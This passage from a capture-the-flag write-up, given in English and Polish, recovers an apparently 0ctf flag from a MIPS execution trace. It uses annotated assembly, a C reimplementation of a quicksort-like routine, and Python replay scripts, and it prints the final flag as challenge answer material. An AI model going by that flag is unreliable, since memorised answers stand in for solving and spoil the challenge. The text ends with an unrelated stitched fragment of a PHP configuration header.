state[r1c], state[r18] = state[r18], state[r1c]
r18 += 1
else:
# we are /not/ in 'swap' branch, so buffer[1rc] >= state[0]
known.append([state[0], '<=', state[r1c]])
if log[il] != 'FOR_INC':
print il
raise 'error'
il += 1
if log[il] != 'AFTERFOR':
print il, log[il]
raise 'error'
il += 1
state[r18-1], state[0] = state[0], state[r18-1]
il, state[:r18-1] = process(log, il, state[:r18-1])
il, state[r18:] = process(log, il, state[r18:])
if log[il] != 'ENDMAIN':
raise 'error'
il += 1
return il, state
# stars (*) are placeholders for unknown characters
state = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}0ctf{********************}')
# replace stars with integers (0 - first unknown, 1 - second unknown, etc)
j = 0
for i in range(len(state)):
if state[i] == '*':
state[i] = j
j += 1
vars = j
process(log, 0, state) # process
print state
```
Miraculously, that worked. After running that code we were presented with:
['0', '0', 14, 6, '1', 2, '2', '3', 3, '4', 18, 13, '5', 12, 4, 8, '6',
11, '7', '8', 16, '9', 10, 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W',
'X', 'Y', 'Z', 'a', 'b', 'c', 'c', 'd', 'e', 'f', 'f', 'g', 'h', 'i',
'j', 7, 'k', 17, 9, 'l', 'm', 5, 'n', 'o', 'p', 'q', 19, 1, 'r', 15,
's', 't', 0, 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '{', '}', '}']
If everything worked fine, that should be array after being sorted by algorithm - and everything looked fine.
That meant that, for example, judging by their position in sorted array, 14-th and 6-th variable were between
'0' and '1' (characters) - so they could be either '0' character or '1' character.
Unfortunately, that was not enough (almost every character had 2 possible values).
But wait, that's more - we know results of comparing variables to other characters - can we use that knowledge to improve our
guesses? It turns out that we can (with even uglier script):
```python
res = {}
for i in range(len(state)):
if not isinstance(state[i], basestring):
j = i
while not isinstance(state[j], basestring):
j -= 1
k = i
while not isinstance(state[k], basestring):
k += 1
res[state[i]] = [state[j], state[k]]
print res
for iteration in range(10):
possible = []
for i in range(vars):
mn, mx = res[i]
for less, op, gtr in known:
if not isinstance(gtr, basestring) and not isinstance(less, basestring):
continue
if op == '<':
if less == i: # 1 < 'z'
if mx >= gtr:
mx = chr(ord(gtr)-1)
if gtr == i: # 'z' < 1
if mn <= less:
mn = chr(ord(less)+1)
if op == '<=':
if less == i: # 1 <= 'z'
if mx >= gtr:
mx = gtr
if gtr == i: # 'z' <= 1
if mn <= less:
mn = less
res[i] = [mn, mx]
if mn == mx:
for xxx in known:
if xxx[0] == i:
xxx[0] = mn
if xxx[2] == i:
xxx[2] = mn
else:
pass
#possible.append([mn, mx])
for i in range(vars):
print res[i]
```
And result of running that hellish script is (each line represents minimal and maximal possible value for character):
['t', 't']
['r', 'r']
['1', '1']
['3', '3']
['5', '5']
['m', 'm']
['1', '1']
['k', 'k']
['5', '5']
['l', 'l']
['9', 'A']
['6', '6']
['5', '5']
['5', '5']
['1', '1']
['r', 's']
['9', '9']
['l', 'l']
['5', '5']
['r', 'r']
That left us with only 4 possibilities (2 characters had 2 possible values each, rest was uniquely determined):
We just bruteforced that 4 possible flags, and finally got our well-deserved 4 points.
We really did a lot of hard work when solving this challenge, it's probable that this was NOT the easiest way.
If I remember correctly, correct flag from 4 possible values were `0ctf{tr135m1k5l96551s9l5r}`.
###PL version
Dostajemy długi trace wykonania (lista opkodów wykonywanych po kolei przez procesor) i chcemy z niego wyciagnąć flagę.
Brzmi zabawnie, bo i było to ciekawe zadanie. Na początku nie wiadomo w ogóle skąd mielibyśmy wziąć tą flagę, skoro w tracelogu nie ma żadnych danych (tylko opcody).
Zaczeliśmy od doprowadzenia call loga do sensownego stanu. Na dobry początek, posortowaliśmy go (żeby uzyskać faktyczny kod programu który był wykonywany):
sort trace.log | uniq > prog
Następnie napisaliśmy na szybko skrypt do przetworzenia tego kodu i podzielenia go na bloki:
```python
import string
blocks=[[]]
blockno={}
def is_final(ins):
FINAL="move r1, r1"
return string.find(ins, FINAL)!=-1
for line in open("prog").read().split("\n")[:-1]:
blocks[-1].append(line)
blockno[line]=len(blocks)-1
if is_final(line):
blocks.append([])
blocks=blocks[:-1]
f=open("basic_blocks","w")
for cnt, block in enumerate(blocks):
f.write("Basic block #"+str(cnt)+"\n")
for line in block:
f.write(line+"\n")
f.write("\n========\n\n")
f.close()
bb=[]
next_check=True
for line in open("log").read().split("\n")[:-1]:
if is_final(line):
next_check=True
continue
if next_check:
next_check=False
bb.append(blockno[line])
print bb
```
Wynik wykonania tego kodu (razem z moimi ręcznymi anotacjami dodanymi później, nie ma sensu odkładać ich na później)
```asm
// function red() - strlen
Basic block #0
[INFO]00400770 addiu r29, r29, 0xffffffe8 // r29 -= 18
[INFO]00400774 sw r30, [r29+0x14] // r30 = r29[0x14]
[INFO]00400778 move r30, r29 // r30 = r29
[INFO]0040077c sw r4, [r30+0x18] // r4 = r30[0x18]
[INFO]00400780 sw r0, [r30+0x8] // r0 = r30[8]
// block 0x400784
[INFO]00400784 lw r2, [r30+0x8] // r2 = r30[8]
[INFO]00400788 lw r3, [r30+0x18] // r3 = r30[0x18]
[INFO]0040078c addu r2, r3, r2 // r2 += r3
[INFO]00400790 lb r2, [r2+0x0] // r2 = r2[0]
[INFO]00400794 bnez r2, 0x4007a8 // if (r2 != 0) goto BLOCK_2
========
Basic block #1
[INFO]0040079c lw r2, [r30+0x8] // r2 = r30[8]
[INFO]004007a0 j 0x4007bc // goto BLOCK_3
========
Basic block #2
[INFO]004007a8 lw r2, [r30+0x8] // r2 = r30[8]
[INFO]004007ac addiu r2, r2, 0x1 // r2 += 1
[INFO]004007b0 sw r2, [r30+0x8] // r30[8] = r2
[INFO]004007b4 j 0x400784 // goto 0x400784
========
Basic block #3
[INFO]004007bc move r29, r30 // r29 = r30
[INFO]004007c0 lw r30, [r29+0x14] // r30 = r29[0x14]
[INFO]004007c4 addiu r29, r29, 0x18 // r29 += 18
[INFO]004007c8 jr r31 // ret
========
// function green() - strcpy
Basic block #4
[INFO]004007d0 addiu r29, r29, 0xffffffe8 // r29 -= 18
[INFO]004007d4 sw r30, [r29+0x14] // r29[0x14] = r30
[INFO]004007d8 move r30, r29 // r30 = r29
[INFO]004007dc sw r4, [r30+0x18] // r30[0x18] = r4
[INFO]004007e0 sw r5, [r30+0x1c] // r30[0x1c] = r5
[INFO]004007e4 sw r0, [r30+0x8] // r30[8] = r0
[INFO]004007e8 j 0x40081c // goto 0x40081c
========
Basic block #5
[INFO]004007f0 lw r2, [r30+0x8] // r2 = r30[8]
[INFO]004007f4 lw r3, [r30+0x18] // r3 = r30[0x18]
[INFO]004007f8 addu r2, r3, r2 // r2 += r3
[INFO]004007fc lw r3, [r30+0x8] // r3 = r30[8]
[INFO]00400800 lw r4, [r30+0x1c] // r4 = r30[0x1c]
[INFO]00400804 addu r3, r4, r3 // r3 += r4
[INFO]00400808 lb r3, [r3+0x0] // r3 = r3[0]
[INFO]0040080c sb r3, [r2+0x0] // r2[0] = r3
[INFO]00400810 lw r2, [r30+0x8] // r2 = r30[8]
[INFO]00400814 addiu r2, r2, 0x1 // r2 += 1
[INFO]00400818 sw r2, [r30+0x8] // r30[8] = r2
// block 0x40081c
[INFO]0040081c lw r2, [r30+0x8] // r2 = r30[8]
[INFO]00400820 lw r3, [r30+0x1c] // r3 = r30[0x1c]
[INFO]00400824 addu r2, r3, r2 // r2 += r3
[INFO]00400828 lb r2, [r2+0x0] // r2 = r2[0]
[INFO]0040082c bnez r2, 0x4007f0 // if r2 != 0: goto BLOCK_5
========
Basic block #6
[INFO]00400834 lw r2, [r30+0x8] // r2 = r30[8]
[INFO]00400838 lw r3, [r30+0x18] // r3 = r30[0x18]
[INFO]0040083c addu r2, r3, r2 // r2 += r3
[INFO]00400840 sb r0, [r2+0x0] // r2[0] = r0
[INFO]00400844 move r29, r30 // r29 = r30
[INFO]00400848 lw r30, [r29+0x14] // r30 = r29[0x14]
[INFO]0040084c addiu r29, r29, 0x18 // r29 += 18
[INFO]00400850 jr r31 // ret
========
// function blue()
Basic block #7
[INFO]00400858 addiu r29, r29, 0xffffffd0
[INFO]0040085c sw r31, [r29+0x2c]
[INFO]00400860 sw r30, [r29+0x28]
[INFO]00400864 move r30, r29
[INFO]00400868 sw r4, [r30+0x30] // r30[0x30] = r4 # buffer start
[INFO]0040086c sw r5, [r30+0x34] // r30[0x34] = r5 # length
[INFO]00400870 lw r2, [r30+0x34] // r2 = r30[0x34]
[INFO]00400874 slti r2, r2, 0x2 // r2 = (r2 < 2)
[INFO]00400878 beqz r2, 0x400888 // if (r2 == 0) goto BLOCK_9 # if length >= 2 continue
========
Basic block #8
[INFO]00400880 j 0x4009bc // goto exitfunc (BLOCK_14)
========
Basic block #9
[INFO]00400888 lw r2, [r30+0x30] // r2 = r30[0x30]
[INFO]0040088c lbu r2, [r2+0x0] // r2 = r2[0] # first byte of buffer
[INFO]00400890 sb r2, [r30+0x20] // r30[0x20] = r2
[INFO]00400894 addiu r2, r0, 0x1 // r2 = 1
[INFO]00400898 sw r2, [r30+0x18] // r30[0x18] = r2
[INFO]0040089c addiu r2, r0, 0x1 // r2 = 1
[INFO]004008a0 sw r2, [r30+0x1c] // r30[0x1c] = r2
[INFO]004008a4 j 0x40092c // goto unnamed block
========
Basic block #10
[INFO]004008ac lw r2, [r30+0x1c] // r2 = r30[0x1c] # indeks
[INFO]004008b0 lw r3, [r30+0x30] // r3 = r30[0x30] # start buffera
[INFO]004008b4 addu r2, r3, r2 // r2 += r3
[INFO]004008b8 lb r2, [r2+0x0] // r2 = r2[0] # next character
[INFO]004008bc lb r3, [r30+0x20] // r3 = r30[0x20] # first byte of buffer
[INFO]004008c0 slt r2, r2, r3 // r2 = (r2 < r3)
[INFO]004008c4 beqz r2, 0x400920 // if r2 != 0 goto unnamed block # if (r2 >= r3)
========
Basic block #11
[INFO]004008cc lw r2, [r30+0x18] // r2 = r30[0x18] # counter18
[INFO]004008d0 lw r3, [r30+0x30] // r3 = r30[0x30] # start of buffer
[INFO]004008d4 addu r2, r3, r2 // r2 += r3
[INFO]004008d8 lbu r2, [r2+0x0] // r2 = r2[0] # take byte from buffer[counter18]
[INFO]004008dc sb r2, [r30+0x21] // r30[0x21] = r2
[INFO]004008e0 lw r2, [r30+0x18] // r2 = r30[0x18]
[INFO]004008e4 lw r3, [r30+0x30] // r3 = r30[0x30] # adress buffer
[INFO]004008e8 addu r2, r3, r2 // r2 += r3
[INFO]004008ec lw r3, [r30+0x1c] // r3 = r30[0x1c] # counter1c
[INFO]004008f0 lw r4, [r30+0x30] // r4 = r30[0x30] # adress buffer
[INFO]004008f4 addu r3, r4, r3 // r3 += r4
[INFO]004008f8 lb r3, [r3+0x0] // r3 = r3[0] # buffer[counter1c]
[INFO]004008fc sb r3, [r2+0x0] // r2[0] = r3 # buffer[counter18] = buffer[counter1c]
[INFO]00400900 lw r2, [r30+0x1c] // r2 = r30[0x1c]
[INFO]00400904 lw r3, [r30+0x30] // r3 = r30[0x30]
[INFO]00400908 addu r2, r3, r2 // r2 += r3 # adress buffer[counter1c]
[INFO]0040090c lbu r3, [r30+0x21] // r3 = r30[0x21]
[INFO]00400910 sb r3, [r2+0x0] // r2[0] = r3
[INFO]00400914 lw r2, [r30+0x18] // \
[INFO]00400918 addiu r2, r2, 0x1 // r30[r18] += 1
[INFO]0040091c sw r2, [r30+0x18] // /
// block
[INFO]00400920 lw r2, [r30+0x1c] // \
[INFO]00400924 addiu r2, r2, 0x1 // r30[r1c] += 1
[INFO]00400928 sw r2, [r30+0x1c] // /
// block
[INFO]0040092c lw r3, [r30+0x1c] // r3 = r30[0x1c] # some index (indeks1c)
[INFO]00400930 lw r2, [r30+0x34] // r2 = r30[0x34] # length
[INFO]00400934 slt r2, r3, r2 // r2 = (r3 < r2)
[INFO]00400938 bnez r2, 0x4008ac // if index is not longer than lengrth, jump to BLOCK_10
========
Basic block #12
[INFO]00400940 lw r2, [r30+0x18] // l2 = r30[0x18] # indeks2 (indeks18)
[INFO]00400944 addiu r2, r2, 0xffffffff // r2 -= 1
[INFO]00400948 lw r3, [r30+0x30] // r3 = r30[0x30]
[INFO]0040094c addu r2, r3, r2
[INFO]00400950 lbu r2, [r2+0x0] // r2 = buffer[r18 - 1]
[INFO]00400954 sb r2, [r30+0x21] // r30[0x21] = r2
[INFO]00400958 lw r2, [r30+0x18]
[INFO]0040095c addiu r2, r2, 0xffffffff // r2 = r30[0x18] - 1
[INFO]00400960 lw r3, [r30+0x30]
[INFO]00400964 addu r2, r3, r2 // r2 = &buffer[r2]
[INFO]00400968 lw r3, [r30+0x30]
[INFO]0040096c lb r3, [r3+0x0] // r3 = buffer[0]
[INFO]00400970 sb r3, [r2+0x0] // buffer[r18-1] = buffer[0]
[INFO]00400974 lw r2, [r30+0x30]
[INFO]00400978 lbu r3, [r30+0x21]
[INFO]0040097c sb r3, [r2+0x0] // buffer[0] = r30[r21];
[INFO]00400980 lw r2, [r30+0x18]
[INFO]00400984 addiu r2, r2, 0xffffffff // r2 -= 1
[INFO]00400988 lw r4, [r30+0x30]
[INFO]0040098c move r5, r2 // r5 = r2
[INFO]00400990 jal 0x400858 // call blue()
========
Basic block #13
[INFO]00400998 lw r2, [r30+0x18]
[INFO]0040099c lw r3, [r30+0x30]
[INFO]004009a0 addu r4, r3, r2 // r4 = &buffer[r18]
[INFO]004009a4 lw r3, [r30+0x34]
[INFO]004009a8 lw r2, [r30+0x18]
[INFO]004009ac subu r2, r3, r2 // r2 = buflen - r18
[INFO]004009b0 move r5, r2 // r5 = r2
[INFO]004009b4 jal 0x400858 // call blue()
========
Basic block #14
[INFO]004009bc move r29, r30 // exit func
[INFO]004009c0 lw r31, [r29+0x2c] // r31 = r29[0x2c]
[INFO]004009c4 lw r30, [r29+0x28] // r39 = r29[0x28]
[INFO]004009c8 addiu r29, r29, 0x30 // r29 += 0x30
[INFO]004009cc jr r31 // ret
========
// main()
Basic block #15
[INFO]004009d4 addiu r29, r29, 0xfffffec8
[INFO]004009d8 sw r31, [r29+0x134]
[INFO]004009dc sw r30, [r29+0x130]
[INFO]004009e0 move r30, r29
[INFO]004009e4 lui r28, 0x42
[INFO]004009e8 addiu r28, r28, 0xffff8eb0
[INFO]004009ec sw r28, [r29+0x10]
[INFO]004009f0 lui r2, 0x41
[INFO]004009f4 lw r2, [r2+0xea0]
[INFO]004009f8 move r4, r2 // r4 = FLAG
[INFO]004009fc jal 0x400770 // strlen(FLAG)
[INFO]00400a00 move r1, r1
========
Basic block #16
[INFO]00400a04 lw r28, [r30+0x10] // r28 = r30[0x10]
[INFO]00400a08 sw r2, [r30+0x2c] // r30[0x2c] = r2 (result of strlen)
[INFO]00400a0c sw r0, [r30+0x18] // r30[0x18] = 0
[INFO]00400a10 j 0x400a4c
[INFO]00400a14 move r1, r1
========
Basic block #17 - compute something funny, looks like abcdefghi... array
[INFO]00400a18 lw r2, [r30+0x18] // r2 = r30[0x18]
[INFO]00400a1c andi r2, r2, 0xff // r2 &= 0xFF
[INFO]00400a20 addiu r2, r2, 0x61 // r2 += 0x61 # += 'a'
[INFO]00400a24 andi r2, r2, 0xff // r2 &= 0xFF
[INFO]00400a28 sll r3, r2, 0x18 // r3 = r2 << 0x18
[INFO]00400a2c sra r3, r3, 0x18 // r3 = r3 >> 0x18
[INFO]00400a30 addiu r4, r30, 0x30 // r4 = r30 + 0x30
[INFO]00400a34 lw r2, [r30+0x18] // r2 = r30[0x18] # indekx
[INFO]00400a38 addu r2, r4, r2 // r2 += r4 # bufer[index]?
[INFO]00400a3c sb r3, [r2+0x0] // r2[0] = r3
[INFO]00400a40 lw r2, [r30+0x18] // \
[INFO]00400a44 addiu r2, r2, 0x1 // r30[0x18] += 1
[INFO]00400a48 sw r2, [r30+0x18] // /
// block
[INFO]00400a4c lw r2, [r30+0x18] // r2 = r30[0x18] (starting with 00
[INFO]00400a50 slti r2, r2, 0x1a // while r2 < 0x1a, so string length
[INFO]00400a54 bnez r2, 0x400a18
========
Basic block #18
[INFO]00400a5c sw r0, [r30+0x1c] // r30[0x1c] = 0
[INFO]00400a60 j 0x400aa0 // goto ...
========
Basic block #19
[INFO]00400a68 lw r2, [r30+0x1c] // r2 = r30[0x1c] # offset in buffer?
[INFO]00400a6c addiu r2, r2, 0x1a // r2 += 0x1a
[INFO]00400a70 lw r3, [r30+0x1c] // r30 = r30[0x1c] # index
[INFO]00400a74 andi r3, r3, 0xff // r3 &= 0xFF
[INFO]00400a78 addiu r3, r3, 0x41 // r3 += 0x41 # 'A'
[INFO]00400a7c andi r3, r3, 0xff // r3 &= 0xFF
[INFO]00400a80 sll r3, r3, 0x18 // r3 <<= 0x18
[INFO]00400a84 sra r3, r3, 0x18 // r3 >>= 0x18
[INFO]00400a88 addiu r4, r30, 0x30 // r4 = r30 + 0x30 # another buffer?
[INFO]00400a8c addu r2, r4, r2 // r2 += r4 # buffer[index]?
[INFO]00400a90 sb r3, [r2+0x0] // r2[0] = r3
[INFO]00400a94 lw r2, [r30+0x1c] // \
[INFO]00400a98 addiu r2, r2, 0x1 // r30[0x1c] += 1
[INFO]00400a9c sw r2, [r30+0x1c] // /
[INFO]00400aa0 lw r2, [r30+0x1c] // stupid compiler
// block
[INFO]00400aa4 slti r2, r2, 0x1a // loop 26 times
[INFO]00400aa8 bnez r2, 0x400a68
========
Basic block #20
[INFO]00400ab0 sw r0, [r30+0x20] // r30[0x20] = 0
[INFO]00400ab4 j 0x400af4
[INFO]00400ab8 move r1, r1
========
Basic block #21
[INFO]00400abc lw r2, [r30+0x20] //
[INFO]00400ac0 addiu r2, r2, 0x34 // offset in buffer
[INFO]00400ac4 lw r3, [r30+0x20] //
[INFO]00400ac8 andi r3, r3, 0xff //
[INFO]00400acc addiu r3, r3, 0x30 //
[INFO]00400ad0 andi r3, r3, 0xff //
[INFO]00400ad4 sll r3, r3, 0x18 //
[INFO]00400ad8 sra r3, r3, 0x18 //
[INFO]00400adc addiu r4, r30, 0x30 // create buffer filled with 012345...
[INFO]00400ae0 addu r2, r4, r2 //
[INFO]00400ae4 sb r3, [r2+0x0] //
[INFO]00400ae8 lw r2, [r30+0x20] //
[INFO]00400aec addiu r2, r2, 0x1 //
[INFO]00400af0 sw r2, [r30+0x20] //
[INFO]00400af4 lw r2, [r30+0x20] //
[INFO]00400af8 slti r2, r2, 0xa //
[INFO]00400afc bnez r2, 0x400abc //
========
Basic block #22
[INFO]00400b04 addiu r2, r0, 0x7b // r2 = 0x7b # {
[INFO]00400b08 sb r2, [r30+0x6e] // r30[0x6e] = r2
[INFO]00400b0c addiu r2, r0, 0x7d // r2 = 0x7d # }
[INFO]00400b10 sb r2, [r30+0x6f] // r30[0x6f] = r2
[INFO]00400b14 lui r2, 0x41 // r2 = 0x41
[INFO]00400b18 lw r3, [r2+0xea0] // r3 = &FLAG
[INFO]00400b1c addiu r2, r30, 0x30 // r2 = r30 + 0x30 - start of buffer
[INFO]00400b20 addiu r2, r2, 0x40 // r2 += 0x40 - 40 byte offset
[INFO]00400b24 move r4, r2 // r4 = r2 - copy there
[INFO]00400b28 move r5, r3 // r5 = r3 - flag
[INFO]00400b2c jal 0x4007d0 // strcpy()
========
Basic block #23
[INFO]00400b34 lw r28, [r30+0x10] // r28 = r30[0x10]
[INFO]00400b38 addiu r2, r30, 0x30 // r2 = r30 + 0x30
[INFO]00400b3c move r4, r2 // r4 = r2
[INFO]00400b40 jal 0x400770 // strlen() # wychodzi 90
========
Basic block #24
[INFO]00400b48 lw r28, [r30+0x10] // r28 = r30[0x10]
[INFO]00400b4c move r3, r2 // r3 = r2
[INFO]00400b50 addiu r2, r30, 0x30 // r2 = r30 + 0x30
[INFO]00400b54 move r4, r2 // r4 = r2 # r2 = buffer start
[INFO]00400b58 move r5, r3 // r5 = r3 # r5 = 90 (strlen result)
[INFO]00400b5c jal 0x400858 // NIEBIESKA()
[INFO]00400b60 move r1, r1
========
Basic block #25
[INFO]00400b64 lw r28, [r30+0x10]
[INFO]00400b68 addiu r2, r30, 0x30
[INFO]00400b6c move r4, r2
[INFO]00400b70 jal 0x400770
[INFO]00400b74 move r1, r1
========
Basic block #26
[INFO]00400b78 lw r28, [r30+0x10]
[INFO]00400b7c sw r2, [r30+0x2c]
[INFO]00400b80 sw r0, [r30+0x24]
[INFO]00400b84 sw r0, [r30+0x28]
[INFO]00400b88 j 0x400bd4
[INFO]00400b8c move r1, r1
========
Basic block #27
[INFO]00400b90 addiu r3, r30, 0x30
[INFO]00400b94 lw r2, [r30+0x28]
[INFO]00400b98 addu r2, r3, r2
[INFO]00400b9c lb r3, [r2+0x0]
[INFO]00400ba0 lw r2, [r30+0x28]
[INFO]00400ba4 addiu r2, r2, 0x1
[INFO]00400ba8 addiu r4, r30, 0x30
[INFO]00400bac addu r2, r4, r2
[INFO]00400bb0 lb r2, [r2+0x0]
[INFO]00400bb4 beq r3, r2, 0x400bc8
[INFO]00400bb8 move r1, r1
========
Basic block #28
[INFO]00400bbc lw r2, [r30+0x24]
[INFO]00400bc0 addiu r2, r2, 0x1
[INFO]00400bc4 sw r2, [r30+0x24]
[INFO]00400bc8 lw r2, [r30+0x28]
[INFO]00400bcc addiu r2, r2, 0x1
[INFO]00400bd0 sw r2, [r30+0x28]
[INFO]00400bd4 lw r2, [r30+0x2c]
[INFO]00400bd8 addiu r3, r2, 0xffffffff
[INFO]00400bdc lw r2, [r30+0x28]
[INFO]00400be0 slt r2, r2, r3
[INFO]00400be4 bnez r2, 0x400b90
[INFO]00400be8 move r1, r1
========
Basic block #29
[INFO]00400bec lw r3, [r30+0x24]
[INFO]00400bf0 addiu r2, r0, 0x3f
[INFO]00400bf4 beq r3, r2, 0x400c10
[INFO]00400bf8 move r1, r1
========
Basic block #30
[INFO]00400c10 addiu r2, r30, 0x30
[INFO]00400c14 move r4, r2
[INFO]00400c18 lw r2, [r28+0xffff8034]
[INFO]00400c1c move r25, r2
[INFO]00400c20 jalr r25
[INFO]00400c24 move r1, r1
```
Ten skrypt wypisał też kolejność w której bloki zostały wykonane. To pozwoliło nam narysować ten piękny graf (pokolorowałem w nim funkcje):

Zielona i czerwona funkcja były łatwe do rozpoznania - to były odpowiednio strcpy i strlen.
Przeanalizowałem też kod na początku - tworzy on duży bufor w pamięci, i dokleja do niego flagę.
Więc na końcu jesteśmy z takim blobem w pamięci:
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}[FLAGFLAGFLAGFLAGFLAGFLAG]
A następnie wywoływana na nim jest niebieska funkcja. Jest ona dużo bardziej skomplikonwaa od poprzednich, więc zaimplementowałem ją w C:
```cpp
void blue(char *buffer, int buflen)
{
if (buflen > 1) {
int r18 = 1;
int r20 = buffer[0];
int r21;
for (int r1c = 1; r1c < buflen; r1c++) {
if (buffer[r1c] >= r20) {
continue;
}
r21 = buffer[r18];
buffer[r18] = buffer[r1c];
buffer[r1c] = r21;
r18 += 1;
}
r21 = buffer[r18-1];
buffer[r18-1] = buffer[0];
buffer[0] = r21;
blue(buffer, r18-1);
blue(buffer+r18, buflen-r18);
}
}
```
Jeśli się nie myliłem (i nie myliłem się), ta funkcja powinna zachowywać się dokładnie tak jak fukcja z której otrzymaliśmy tracelog.
To jakaś wariacja quicksortu, swoją drogą (nie wiem jaka dokładnie, nie ma to znaczenia przy rozwiązywaniu zadania).
Więc powstał problem - co teraz? Wiedzieliśmy co było wykonane, wiedzieliśmy jak było wykonane, jak możemy z tego odzyskać flagę?
Poszliśmy prawdopodobnie bardzo okrężną drogą, ale ważne że zadziałało ostatecznie. Najpierw postanowiliśmy zaznaczyć 'checkpointy' w funkcji:
```cpp
void blue(char *buffer, int buflen)
{
// STARTFX
if (buflen > 1) {
// STARTMAIN
int r18 = 1;
int r20 = buffer[0];
int r21;
for (int r1c = 1; r1c < buflen /*FOR_CHECK*/; r1c++ /*FOR_INC*/)) {
// STARTFOR
if (buffer[r1c] >= r20) {
// SKIP
continue;
}
// SWAP_18_1C
r21 = buffer[r18];
buffer[r18] = buffer[r1c];
buffer[r1c] = r21;
r18 += 1;
// ENDFOR
}
// AFTERFOR
r21 = buffer[r18-1];
buffer[r18-1] = buffer[0];
buffer[0] = r21;
blue(buffer, r18-1);
blue(buffer+r18, buflen-r18);
// ENDMAIN
}
// ENDFX
}
```
Następnie przetworzyliśmy trace.log patrząc tylko na checkpointy:
```python
data = open('log').read().split('\n')
for line in data:
if '[INFO]00400858' in line:
print 'STARTFX'
if '[INFO]00400888' in line:
print 'STARTMAIN'
if '[INFO]004008ac' in line:
print 'STARTFOR'
if '[INFO]004008cc' in line:
print 'SWAP_18_1C'
if '[INFO]00400920' in line:
print 'FOR_INC'
if '[INFO]0040092c' in line:
print 'FOR_CHECK'
if '[INFO]00400940' in line:
print 'AFTERFOR'
if '[INFO]004009bc' in line:
print 'ENDMAIN'
```
Ostatecznie napisaliśmy (brzydki!) skrypt który podążał logiem i robił dokładnie to samo co było w logu:
```python
log = [x.strip() for x in open('calllog').read().split('\n')]
known = [] # known "facts" about characters in flag
def process(log, il, state):
if log[il] != 'STARTFX':
raise 'error'
il += 1
if len(state) > 1:
if log[il] != 'STARTMAIN':
raise 'error'
il += 1
r18 = 1
for r1c in range(1, len(state)+1):
if log[il] != 'FOR_CHECK':
raise 'error'
il += 1
if r1c == len(state):
break
if log[il] == 'AFTERFOR':
break
if log[il] != 'STARTFOR':
raise 'error'
il += 1
if log[il] == 'SWAP_18_1C':
# we are in 'swap' branch, so buffer[r1c] < state[0]
known.append([state[r1c], '<', state[0]])
il += 1
state[r1c], state[r18] = state[r18], state[r1c]
r18 += 1
else:
# we are /not/ in 'swap' branch, so buffer[1rc] >= state[0]
known.append([state[0], '<=', state[r1c]])
if log[il] != 'FOR_INC':
print il
raise 'error'
il += 1
if log[il] != 'AFTERFOR':
print il, log[il]
raise 'error'
il += 1
state[r18-1], state[0] = state[0], state[r18-1]
il, state[:r18-1] = process(log, il, state[:r18-1])
il, state[r18:] = process(log, il, state[r18:])
if log[il] != 'ENDMAIN':
raise 'error'
il += 1
return il, state
# stars (*) are placeholders for unknown characters
state = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}0ctf{********************}')
# replace stars with integers (0 - first unknown, 1 - second unknown, etc)
j = 0
for i in range(len(state)):
if state[i] == '*':
state[i] = j
j += 1
vars = j
process(log, 0, state) # process
print state
```
Nie wiadomo jakim cudem, ale to zadziałąło. Po uruchomieniu tego kodu dostaliśmy coś takiego:
['0', '0', 14, 6, '1', 2, '2', '3', 3, '4', 18, 13, '5', 12, 4, 8, '6',
11, '7', '8', 16, '9', 10, 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W',
'X', 'Y', 'Z', 'a', 'b', 'c', 'c', 'd', 'e', 'f', 'f', 'g', 'h', 'i',
'j', 7, 'k', 17, 9, 'l', 'm', 5, 'n', 'o', 'p', 'q', 19, 1, 'r', 15,
's', 't', 0, 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '{', '}', '}']
Jeśli wszystko zadziałało, to powinna być tablica po posortowaniu przez algorytm - i wszystko wyglądało ok.
Ten wynik oznacza że np. 14 i 6 zmienna były pomiędzy znakami '0' i '1' - więc mogły być albo znakami '0' albo '1'.
Niestety, to było niewystarczające do odzyskania flagi (prawie każdy znak miał 2 możliwe wartości - za dużo do zgadnięcia).
Ale w sumie, wiemy coś więcej o fladze - a konkretnie wyniki porównywania zmiennych do innych znaków. Czy możemy uzyć tej wiedzy
do poprawienia naszych estymat flagi? Okazuje się że tak (z nawet gorszym skryptem):
```python
res = {}
for i in range(len(state)):
if not isinstance(state[i], basestring):
j = i
while not isinstance(state[j], basestring):
j -= 1
k = i
while not isinstance(state[k], basestring):
k += 1
res[state[i]] = [state[j], state[k]]
print res
for iteration in range(10):
possible = []
for i in range(vars):
mn, mx = res[i]
for less, op, gtr in known:
if not isinstance(gtr, basestring) and not isinstance(less, basestring):
continue
if op == '<':
if less == i: # 1 < 'z'
if mx >= gtr:
mx = chr(ord(gtr)-1)
if gtr == i: # 'z' < 1
if mn <= less:
mn = chr(ord(less)+1)
if op == '<=':
if less == i: # 1 <= 'z'
if mx >= gtr:
mx = gtr
if gtr == i: # 'z' <= 1
if mn <= less:
mn = less
res[i] = [mn, mx]
if mn == mx:
for xxx in known:
if xxx[0] == i:
xxx[0] = mn
if xxx[2] == i:
xxx[2] = mn
else:
pass
#possible.append([mn, mx])
for i in range(vars):
print res[i]
```
Wynik wykonania tego piekielnego skryptu (każda linia oznacza minimalną i maksymalną możliwą wartośc dla każdego znaku):
['t', 't']
['r', 'r']
['1', '1']
['3', '3']
['5', '5']
['m', 'm']
['1', '1']
['k', 'k']
['5', '5']
['l', 'l']
['9', 'A']
['6', '6']
['5', '5']
['5', '5']
['1', '1']
['r', 's']
['9', '9']
['l', 'l']
['5', '5']
['r', 'r']
Więc zostały tylko 4 możliwości (2 znaki miały po 2 możliwości, reszta była unikalna):
Po prostu bruteforcowaliśmy te 4 możłiwości na panelu do zgłaszania flag, i dostaliśmy nasze dobrze zasłużone 4 punkty.
Naprawdę sporo pracy zrobiliśmy podczas rozwiązywania tego zadania - prawdopodpobnie to nie był najprostszy sposób na rozwiązanie tego.
Jeśli dobrze pamiętam, poprawną flagą z 4 możliwych flag było ostatecznie `0ctf{tr135m1k5l96551s9l5r}`.
|
sec-knowleage
|
<?php
/*
* Generated configuration file
